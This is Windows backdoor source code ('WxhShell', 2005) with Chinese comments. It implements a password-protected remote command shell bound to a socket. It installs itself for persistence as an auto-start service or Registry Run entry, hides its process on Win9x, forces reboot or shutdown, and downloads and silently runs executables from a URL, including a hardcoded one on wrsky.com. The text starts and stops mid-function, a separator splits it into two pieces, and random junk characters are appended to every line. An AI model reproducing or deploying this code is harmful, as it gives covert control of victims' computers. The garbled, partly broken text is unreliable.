    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xo[o^go  
    if(Boot(SHUTDOWN)) E 2n z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?o " Vkc:  
    else { W"NI^OX  
    closesocket(wsh); sA2-3V<t8  
    ExitThread(0); PgkU~68`  
    } I"Zp^j  
    break; K<>kT4  
    } e5' I W__  
  // 获取shell h4;kjr}h}  
  case 's': { jK w 96  
    CmdShell(wsh); FNQ<k[#K'~  
    closesocket(wsh); ,2FK$: M\  
    ExitThread(0); b80#75Bj>  
    break; Y(PCc}/\  
  } k\f _\pj6  
  // 退出 meX2Y;  
  case 'x': { )WqolB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  /qLO/Mim  
    CloseIt(wsh); $[|(&8+7  
    break; ]m+%y+  
    } n5}]C{s'  
  // 离开 OC=&!<  
  case 'q': { d(q1 ?{zr4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;R?@ D]  
    closesocket(wsh); 0AB a&'h  
    WSACleanup(); p'jc=bL E  
    exit(1); =5|7S&{  
    break; T fLqxioqZ  
        } J"r?F0  
  } (D>_O$o  
  } V^_A{\GK  
{-Y;!  
  // 提示信息 H>TO8;5(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @](vFb  
} !T0I; j&  
  } 6K.2VY#  
:HY$x  
  return; JS/'0.  
} fL*7u\m:  
N5?bflY  
// shell模块句柄 ^k6_j\5j  
int CmdShell(SOCKET sock) -XBZ1q  
{ `5Y*) q  
STARTUPINFO si; f?5>V   
ZeroMemory(&si,sizeof(si)); Qq,2V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bmG`:_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M$K%e  
PROCESS_INFORMATION ProcessInfo; '<Zm>L&  
char cmdline[]="cmd"; h:4(Gm;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VF?H0}YSHb  
  return 0; '/>Mr!H#  
} 6 >kULp  
)-2Nc7  
// 自身启动模式 C~En0G1  
int StartFromService(void) h P6f   
{ B;9,Qbb  
typedef struct SXL3>-Z E  
{ {$frR "K  
  DWORD ExitStatus; 2`=jKt  
  DWORD PebBaseAddress; &_L@hsm  
  DWORD AffinityMask; }1#m+ (;  
  DWORD BasePriority; D[$"nc/  
  ULONG UniqueProcessId; 3ahriZe  
  ULONG InheritedFromUniqueProcessId; Tz,-~mc  
}   PROCESS_BASIC_INFORMATION; 5Kzt8Tv[  
{Ze Y:\G~  
PROCNTQSIP NtQueryInformationProcess; u zZ|0  
U^PXpNQ'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o#qdgZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <F9-$_m  
Hx#YN*\.M  
  HANDLE             hProcess; ? }HK!feU  
  PROCESS_BASIC_INFORMATION pbi; j yHa}OT  
b31$i 5{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w.m8SvS&b  
  if(NULL == hInst ) return 0; $f:uBhM  
o5Oig  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _}R$h=YD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z '5itN^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YSnh2 Bq  
#49l\>1 z  
  if (!NtQueryInformationProcess) return 0; <9@n/  
E*'YxI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  Zmu  
  if(!hProcess) return 0; B}"R@;N  
iK}p#"si  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yy3rh(ea  
2!%)_<  
  CloseHandle(hProcess); ";/]rwHa)  
#BRIp(65-6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y [Vd*8  
if(hProcess==NULL) return 0; v H HgZ  
X'OpR   
HMODULE hMod; NO5k1/-  
char procName[255]; `EKf1U\FI  
unsigned long cbNeeded; dgVGP_~  
eT%x(P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I9kz)Q o  
!oz{XWE  
  CloseHandle(hProcess); 'o&d!  
FVXsu!R  
if(strstr(procName,"services")) return 1; // 以服务启动 Xqf\}p n  
? 2}%Rb39  
  return 0; // 注册表启动 QSaDa@OV  
} c]pz&  
INnd TF  
// 主模块 hj];a,Br&  
int StartWxhshell(LPSTR lpCmdLine) [Qs`@u<%  
{ Zfs-M)  
  SOCKET wsl; ;0eVE  
BOOL val=TRUE; Le#srr  
  int port=0; 0H_Ai=G  
  struct sockaddr_in door; }8#olZ/(q  
@!iS`u  
  if(wscfg.ws_autoins) Install(); Jxl'!8t  
jr6 0;oK+  
port=atoi(lpCmdLine); xa`xHh{0  
v7(7WfqP  
if(port<=0) port=wscfg.ws_port; ;Tbo \Wp9  
her>L3G-E  
  WSADATA data; 3nA^s"#p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #ed|0  
!w7/G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -aT-<+?s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); inW7t2p<s  
  door.sin_family = AF_INET; RZW=z}T+H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K qJE?caw  
  door.sin_port = htons(port); kw59`z Es  
=R0f{&"i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -#I]/7^  
closesocket(wsl); GkOk.9Y,5  
return 1; 7c_2.T@4  
} 9swHa  
NFVu~t  
  if(listen(wsl,2) == INVALID_SOCKET) { ltOS()[X  
closesocket(wsl); g:uVl;>  
return 1; P 0\`4Cr!  
} !$n@:W/  
  Wxhshell(wsl); EUSM4djL  
  WSACleanup(); "nr?WcA  
xn, u$@F  
return 0; <?A4/18K  
X !h>13fW  
} !$98 U~L  
.7.1JT#@A7  
// 以NT服务方式启动 J>R $K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &/m^}x/_W  
{ !=S?*E +j)  
DWORD   status = 0; 'n h^;  
  DWORD   specificError = 0xfffffff; O#.YTTj  
=?|$}vDO[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o;c"-^>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (pH)QG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,LZA\XC  
  serviceStatus.dwWin32ExitCode     = 0; v RD/67  
  serviceStatus.dwServiceSpecificExitCode = 0; KS#A*BRQ  
  serviceStatus.dwCheckPoint       = 0; i7)J|(N2.  
  serviceStatus.dwWaitHint       = 0; cQ1[x>OcU  
4!14: mq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f:3cV(mC  
  if (hServiceStatusHandle==0) return; _L=-z*a\  
>4@w|7lS  
status = GetLastError(); g]j&F65D  
  if (status!=NO_ERROR) T=/c0#Q|q  
{ 7a>+ma\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :PV3J0pB~  
    serviceStatus.dwCheckPoint       = 0; wMkHx3XD  
    serviceStatus.dwWaitHint       = 0; V|A)f@ Fs  
    serviceStatus.dwWin32ExitCode     = status; I3 6@x`f  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5ppr;QaB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T}J)n5U}\  
    return; BoT#b^l  
  } @V>]95RX  
Yv=L'0K&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :UT \L2 q=  
  serviceStatus.dwCheckPoint       = 0; Qz=e'H  
  serviceStatus.dwWaitHint       = 0; 4wv0~T$;x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X:t?'41m\  
} =zH)R0!eG  
F u5zj\0J  
// 处理NT服务事件,比如:启动、停止 )z&C&Gqz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $@s-OQ}  
{ 0]f/5jvLj  
switch(fdwControl) 8'E7Uj  
{ K 91O$'J  
case SERVICE_CONTROL_STOP: Y*b$^C%2  
  serviceStatus.dwWin32ExitCode = 0; X\BFvSv8C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nKd'5f1  
  serviceStatus.dwCheckPoint   = 0; -5v{p  
  serviceStatus.dwWaitHint     = 0; @u$NB3  
  { 4,@jSr|I3i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pj7a l;  
  } xj D$i'V+  
  return; K:e[#b8 :R  
case SERVICE_CONTROL_PAUSE: S*n5d>;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3 }sy{Mx%9  
  break; x [vb i  
case SERVICE_CONTROL_CONTINUE: n?c[ E+i;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #"oLz"{  
  break; pFs/ipZX^*  
case SERVICE_CONTROL_INTERROGATE: ,2 xD>+=  
  break; 9b6U] z,  
}; mph9/ %]S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^f N/  
} ?*UWg[  
Uo9@Y{<B  
// 标准应用程序主函数 @ o<O I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QeT~s5 H  
{ <8~c7kT'  
<iH   
// 获取操作系统版本 4lCbUk[l  
OsIsNt=GetOsVer(); ` >>]$ZJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6i+AJCkC  
Vxo?%Dj  
  // 从命令行安装 ^[R/W VNk  
  if(strpbrk(lpCmdLine,"iI")) Install(); Rt,po  
'b"7Lzp2  
  // 下载执行文件 w('}QB`xad  
if(wscfg.ws_downexe) { v6wg,,T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >B``+ Z^2  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]):>9q$C  
} ' Hj([N  
5w~ 0Q  
if(!OsIsNt) { bz 7?F!  
// 如果时win9x,隐藏进程并且设置为注册表启动 OZz/ip-!lc  
HideProc(); ;y7+Q  
StartWxhshell(lpCmdLine); J@i9)D_  
} %p7onwKq0  
else A:4&XRYZY  
  if(StartFromService()) yzl}!& E  
  // 以服务方式启动 g0QYBrp  
  StartServiceCtrlDispatcher(DispatchTable); 74NL)|M  
else [j TU nP  
  // 普通方式启动 =/xx:D/  
  StartWxhshell(lpCmdLine); uwi.Sg11  
4Q1R:Ra  
return 0; , ExY.'%1  
} 0,&] 2YJ  
Jq"3xj   
YADXXQ"  
xEq?[M  
=========================================== OrL4G `O  
`|&0j4(Pg  
@o1#J` rv  
z[vu- f9  
*Jt+-ZM  
f6\4 ,()  
" s^.tj41Gx}  
2B)1 tP  
#include <stdio.h> .F%jbnKd_  
#include <string.h> <Mj{pN3  
#include <windows.h> A|4 3W =  
#include <winsock2.h> aMT=pGU  
#include <winsvc.h> C]3:&dx9  
#include <urlmon.h> \|B\7a'4  
U|QP] 6v  
#pragma comment (lib, "Ws2_32.lib") ~PAI0+*"q  
#pragma comment (lib, "urlmon.lib") a-nn[ j  
Gf+X<a  
#define MAX_USER   100 // 最大客户端连接数 9GT}_ ^fb  
#define BUF_SOCK   200 // sock buffer Gr}NgyT<!D  
#define KEY_BUFF   255 // 输入 buffer B+jh|@-  
PQ;9iv  
#define REBOOT     0   // 重启 B>I :KGkV  
#define SHUTDOWN   1   // 关机 _d^d1Q}V  
+BhJske  
#define DEF_PORT   5000 // 监听端口 $tc1 te  
|#BN!kc  
#define REG_LEN     16   // 注册表键长度 ^xScVOdP  
#define SVC_LEN     80   // NT服务名长度 L&=r-\.ev  
u(hJyo}  
// 从dll定义API 0N]\f.=`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); GjN6Af~}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 92C; a5s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7hLh}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >o3R~ [  
E{^W-  
// wxhshell配置信息 a3A3mBw  
struct WSCFG { e7-IqQA{3C  
  int ws_port;         // 监听端口 v>mK~0.$  
  char ws_passstr[REG_LEN]; // 口令 u"wWekB  
  int ws_autoins;       // 安装标记, 1=yes 0=no t.\Pn4  
  char ws_regname[REG_LEN]; // 注册表键名 eR`Q7]j] -  
  char ws_svcname[REG_LEN]; // 服务名 CGb4C(%-7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c4Q9foE   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &sYxe:H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x TH3g^E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @)!N{x?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l&kZ6lZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &v;o }Q}E{  
%\}5u[V  
}; M} ri>o  
d.Ccc/1-  
// default Wxhshell configuration Wi,)a{  
struct WSCFG wscfg={DEF_PORT, G^.tAO5:f  
    "xuhuanlingzhe", >lyE@S sA  
    1, 0r i  
    "Wxhshell", 8<ev5af  
    "Wxhshell", SXE@\Afj  
            "WxhShell Service", 8X278^ #  
    "Wrsky Windows CmdShell Service", ~4twI*f  
    "Please Input Your Password: ", C9""sVs  
  1, v046  
  "http://www.wrsky.com/wxhshell.exe", -0]%#(E%`h  
  "Wxhshell.exe" ?1O` Rd{tn  
    }; BG.sHI{  
xpu 2RE  
// 消息定义模块 f<|*^+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3zc;_U2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Jt<J#M<}7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |QR9#Iv  
char *msg_ws_ext="\n\rExit."; ]Wjcr2Wq  
char *msg_ws_end="\n\rQuit."; ;R<V-gab  
char *msg_ws_boot="\n\rReboot..."; ,!PV0(F(  
char *msg_ws_poff="\n\rShutdown..."; B&1E&Cv_8  
char *msg_ws_down="\n\rSave to "; f#7=N{wm  
s%>8y\MaK  
char *msg_ws_err="\n\rErr!"; {gD`yoPrV  
char *msg_ws_ok="\n\rOK!"; q"S,<I<f  
lF40n4}  
char ExeFile[MAX_PATH]; 9`"#OQPn1  
int nUser = 0; F ~7TE91C  
HANDLE handles[MAX_USER]; W:9l"'  
int OsIsNt; AGO"),  
V,8Z!.MG  
SERVICE_STATUS       serviceStatus; :>_oOn[_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *DZ7,$LQ~D  
[7LdTY"Tl  
// 函数声明 D,lY_6=  
int Install(void); }*C  
int Uninstall(void); ^|hVFM2  
int DownloadFile(char *sURL, SOCKET wsh); SkCux  
int Boot(int flag); pp7 $Q>6  
void HideProc(void); [ gZR}E  
int GetOsVer(void); &#gh :5  
int Wxhshell(SOCKET wsl); JR&yaOws  
void TalkWithClient(void *cs);  &"27U  
int CmdShell(SOCKET sock); _V0%JE'  
int StartFromService(void); D:z_FNN  
int StartWxhshell(LPSTR lpCmdLine); R?tjobk!  
+ 660/ e8N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (ov&iNx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "!eq~/nk  
`CBXz!v!O  
// 数据结构和表定义 o61rTj  
SERVICE_TABLE_ENTRY DispatchTable[] = Qgv g*KX  
{ D/;[x{;E  
{wscfg.ws_svcname, NTServiceMain}, YTTi j|(  
{NULL, NULL} G-R83Orl  
}; bu $u@:q 6  
JL{fW>5y|  
// 自我安装 J~oxqw}  
int Install(void) 2dHsM'ze  
{ x'OP0],#  
  char svExeFile[MAX_PATH]; * {~`Lw)y  
  HKEY key; +9pock  
  strcpy(svExeFile,ExeFile); DnG9bVm>  
z}Us+>z+jc  
// 如果是win9x系统,修改注册表设为自启动 vifw FPe  
if(!OsIsNt) { ^Oeixi@f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v]H9`s#,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '=\>n(%Q  
  RegCloseKey(key); utl-#Wwt/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #sg dMrVQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "68X+!  
  RegCloseKey(key); cu'(Hj  
  return 0; G)M! , Q  
    } HD2C^V2@M  
  } 2Qh)/=8lM  
} '$'a .q1q9  
else { ct OCj$$u  
""|;5kJS4  
// 如果是NT以上系统,安装为系统服务 njO~^Hl7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G!G:YVWXP  
if (schSCManager!=0) :2/ jI:L~  
{ .}Ys+d1b9c  
  SC_HANDLE schService = CreateService EE`[J0 (  
  ( F#RNm5  
  schSCManager, x2r.4  
  wscfg.ws_svcname, W\5 -Yg(@  
  wscfg.ws_svcdisp, bhbTloCR  
  SERVICE_ALL_ACCESS, %;= ?r*]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3;wiwN'  
  SERVICE_AUTO_START, N`3^:EJL8  
  SERVICE_ERROR_NORMAL, v;Q*0%~  
  svExeFile, ;(;~yB|NZ5  
  NULL, TA:uB[Ji  
  NULL, +{m+aHk  
  NULL, A=Hv}lv  
  NULL, zxH<~2  
  NULL r:E4Wi{\  
  ); }[drR(]`dO  
  if (schService!=0) _8F;-7Sz  
  { C]l)Pz$  
  CloseServiceHandle(schService); bmi",UZ:F  
  CloseServiceHandle(schSCManager); yHlQKI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 11Qi _T\  
  strcat(svExeFile,wscfg.ws_svcname); pzUr9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .X"&k O>G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I&gd"F _v}  
  RegCloseKey(key); .O(9\3q\  
  return 0; 1LhZmv  
    } h(J$-SUs  
  } C&%NO;Ole  
  CloseServiceHandle(schSCManager); gyV`]uqG  
} 7N@[Rtv  
} 9V&+xbR&  
[wiB1{/Ls.  
return 1; UL#:!J/34  
} 2Oyw#1tdn  
["Tro;K#  
// 自我卸载 1@|%{c&+9  
int Uninstall(void) m']$)Iqw  
{ }u$c*}  
  HKEY key; dTu*%S1Z  
JKO*bbj  
if(!OsIsNt) { n9k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Nh/i'q/  
  RegDeleteValue(key,wscfg.ws_regname); *qAG0EM|  
  RegCloseKey(key); vWrTB   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O@W/s!&lFa  
  RegDeleteValue(key,wscfg.ws_regname); 0R `>F">  
  RegCloseKey(key); G(Hr*T%  
  return 0; -"a(<JC^NI  
  } + ZiYl[_|  
} m .(\u?J  
} 1OMaY5F  
else { N#)Klq87z  
3O1Lv2)_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2EN}"Du]mj  
if (schSCManager!=0) Ui9;rh$1eU  
{ <SOG?Lh~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,{msJyacmR  
  if (schService!=0) d)D!np=  
  { &m[}%e%~0  
  if(DeleteService(schService)!=0) { !g}@xwWax  
  CloseServiceHandle(schService); -aE,KQ  
  CloseServiceHandle(schSCManager); F9r/ M"5  
  return 0; F$|:'#KN  
  } ;mz#$"(  
  CloseServiceHandle(schService); F2_'U' a  
  } #f_'&m  
  CloseServiceHandle(schSCManager); h6<i,1gQ1  
} ^`aw5 +S  
} \Ucv<S  
cXf/  
return 1; \-{$IC-L  
} 7bRfkKD  
l,(:~KH|  
// 从指定url下载文件 4}cxSl]jf!  
int DownloadFile(char *sURL, SOCKET wsh) E4Ez)IaKyi  
{ |;t{L^  
  HRESULT hr; PNo:vRtsq  
char seps[]= "/"; Y}s6__  
char *token; !O}e)t  
char *file; 9%3+\[s1  
char myURL[MAX_PATH]; r|\{!;7  
char myFILE[MAX_PATH]; -e_TJA  
=5fY3%^b{  
strcpy(myURL,sURL); YO?o$Hv16  
  token=strtok(myURL,seps); ht>/7.p]  
  while(token!=NULL) x>BFK@#  
  { )b=vBs`%  
    file=token; s6 (md<r  
  token=strtok(NULL,seps); _/cX!/"  
  } O'#;Ge/,  
j%Z5[{!/,X  
GetCurrentDirectory(MAX_PATH,myFILE); C2=PGq  
strcat(myFILE, "\\"); iQG]v[$  
strcat(myFILE, file); GBR$k P  
  send(wsh,myFILE,strlen(myFILE),0); B"#pvJN  
send(wsh,"...",3,0); h)j#?\KYm9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f?eq-/UR  
  if(hr==S_OK) w2/3[VZ}l  
return 0; )K$xu(/K  
else ]GCw3r(!  
return 1; 1|ddG010  
ot! m=s  
} &(Hw:W 9  
/-^J0f+l3  
// 系统电源模块 Ex*{iJ;\  
int Boot(int flag) {}iS5[H]  
{ u8|CeA  
  HANDLE hToken; I?%q`GyP5  
  TOKEN_PRIVILEGES tkp; Qy4Pw\  
,WnZ^R/n  
  if(OsIsNt) { '/9MN;_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wxj}k7_(`A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QfPw50N;  
    tkp.PrivilegeCount = 1; g+QIhur  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zw$\d1-+h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mJ5%+.V  
if(flag==REBOOT) { Iw( wT_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Knb(MI6  
  return 0; b2[U3)|oO  
} OkISR j'!U  
else { IuAu_`,Ndi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \pTC[Ry1  
  return 0; PU1YR;[Fe  
} F6Q%<p a  
  } 8'TIDu  
  else { 7P*\|Sxk%  
if(flag==REBOOT) { sMUpkU-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yENAcsv  
  return 0; 7 <]YK`a2d  
} 52Dgul  
else {  < ]+Mdy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wmXI8'~F&  
  return 0; z-g6d(  
} ;1nXJ{jKw  
} +\&6Zbn  
~=[5X,Ta  
return 1; U#iW1jPE2  
} ed_+bCNy  
'o0o.&/=  
// win9x进程隐藏模块 yIngenr$  
void HideProc(void) bT T>  
{ 6biR5&Y5U&  
2$!,$J-<Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); es%py~m)  
  if ( hKernel != NULL ) S<'_{uz  
  { Q2woCx B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Lpkx$QZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $XMpC{  
    FreeLibrary(hKernel); a$^)~2U{  
  } Pw7uxN`  
P,WQN[(+  
return; <}8G1<QZ'.  
} 1|H4]!7kE  
:(yu t  
// 获取操作系统版本 |#yT]0L%pA  
int GetOsVer(void) CAom4 Sp'  
{ {TJBB/B1  
  OSVERSIONINFO winfo; `D=`xSEYl  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UhkL=+PD  
  GetVersionEx(&winfo); ?YV#  K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `T7TWv"M  
  return 1; `l.bU3C  
  else ' ;nG4+K  
  return 0; _G.!^+)kEm  
} e m)%U  
)flm3G2u  
// 客户端句柄模块 U,6sR  
int Wxhshell(SOCKET wsl) ,`YBTU  
{ \QF0(*!!  
  SOCKET wsh; D Y4!RjJ47  
  struct sockaddr_in client; Gx}`_[-  
  DWORD myID; r#& JfAo  
Yh@2m9  
  while(nUser<MAX_USER) g&EK^q  
{ |4 2;171  
  int nSize=sizeof(client); +( afO ~9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S+wT}_BQ  
  if(wsh==INVALID_SOCKET) return 1; ~%M*@ fm  
dw5"}-D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )uR_d=B&  
if(handles[nUser]==0) +c C. ZOS  
  closesocket(wsh); Dr=$}Y  
else ~!g2+^G7+P  
  nUser++; :2 :VMIa  
  } 1-PlRQs.1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (3!6nQj-t  
z#P`m,~t0  
  return 0; `{ HWk^  
} Ty~z%=H  
Iu`S0#+  
// 关闭 socket En\q. 3 5  
void CloseIt(SOCKET wsh) ^q& |7Ou-  
{ PE/uB,Wl  
closesocket(wsh); x{K"z4xbI  
nUser--; xJU]py~o  
ExitThread(0); *_#2|96)  
} S&XlMu  
6\I1J= C  
// 客户端请求句柄 t?PqfVSq  
void TalkWithClient(void *cs) ScD E)r  
{  &.s.g\  
3T,[  
  SOCKET wsh=(SOCKET)cs; a8ouk7 G  
  char pwd[SVC_LEN]; 6oZHSjC*  
  char cmd[KEY_BUFF]; c?}G;$  
char chr[1]; Wwg<- 9wAJ  
int i,j; cS:O|R#%t  
%0/qb0N&  
  while (nUser < MAX_USER) { ^?sP[;8S!  
Q 3^h  
if(wscfg.ws_passstr) { <-n^h~,4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TBO g.y]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r%iFsV_  
  //ZeroMemory(pwd,KEY_BUFF); Kz/,V6H:  
      i=0; /3SEu(d!  
  while(i<SVC_LEN) { N!wuBRWR  
t6mv  
  // 设置超时 pnz:<V"Y(  
  fd_set FdRead; :FH&#Eq~4  
  struct timeval TimeOut; &IzNoB  
  FD_ZERO(&FdRead); w3sU&  |N  
  FD_SET(wsh,&FdRead); j%w^8}U>G  
  TimeOut.tv_sec=8; hAc|a9 o  
  TimeOut.tv_usec=0; t0@AfO.'1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Jp}\@T.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ok{1{EmP  
IpSWg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YwF&-~mp7n  
  pwd=chr[0]; )1Y?S;  
  if(chr[0]==0xd || chr[0]==0xa) { lz<' L. .  
  pwd=0; Ev7v,7`z  
  break; w $-q&  
  } bolG3Tf|  
  i++; pmWy:0R  
    } /J/V1dC}]D  
.|hsn6i/-  
  // 如果是非法用户,关闭 socket |W=-/~X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [+R_3'aK  
} X;UEq]kcmn  
 8 zlvzp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G7v<Q,s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iDl#foXa`  
Yk?q\1  
while(1) { B&B:P  
.s,04xW\  
  ZeroMemory(cmd,KEY_BUFF); gt(p%~  
}d>.Nj#zh  
      // 自动支持客户端 telnet标准   QKq4kAaJ!  
  j=0; p}pd&ut1  
  while(j<KEY_BUFF) { wuYak"KX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3c,4 wyn  
  cmd[j]=chr[0]; Q3&D A1b`  
  if(chr[0]==0xa || chr[0]==0xd) { #Y=b7|l  
  cmd[j]=0; U!uJ)mm  
  break; E0fMFG^P  
  } esBv,b?*  
  j++; !u8IZpf  
    } Eri007?D  
$%"hhju  
  // 下载文件 N"G\ H<n  
  if(strstr(cmd,"http://")) { '\op$t/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w2XHY>6];  
  if(DownloadFile(cmd,wsh)) {J,"iJKop  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^0}wmxDq  
  else js Z"T  
